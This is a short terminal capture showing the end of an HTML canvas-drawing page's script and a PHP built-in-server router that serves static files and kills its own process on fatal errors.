if ((e.metaKey || e.ctrlKey) && e.key === 'Enter') {
e.preventDefault();
sendCanvas();
}
});
function clearCanvas() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
}
function sendCanvas() {
document.getElementById('canvas_image').value = canvas.toDataURL('image/png');
document.getElementById('canvasForm').submit();
}
</script>
</body>
</html>
bash-5.2# cat router.php
<?php
// router.php
register_shutdown_function(function () {
$error = error_get_last();
if ($error && in_array($error['type'], [
E_ERROR,
E_PARSE,
E_CORE_ERROR,
E_COMPILE_ERROR,
])) {
// Log it if you want
error_log("Fatal error detected, killing server");
// HARD EXIT — this kills the server process
posix_kill(posix_getpid(), SIGTERM);
exit(1);
}
});
// Normal static file handling
if (php_sapi_name() === 'cli-server') {
$path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
$file = __DIR__ . $path;
if (is_file($file)) {
return false;
}
}
require __DIR__ . '/index.php';
bash-5.2#
|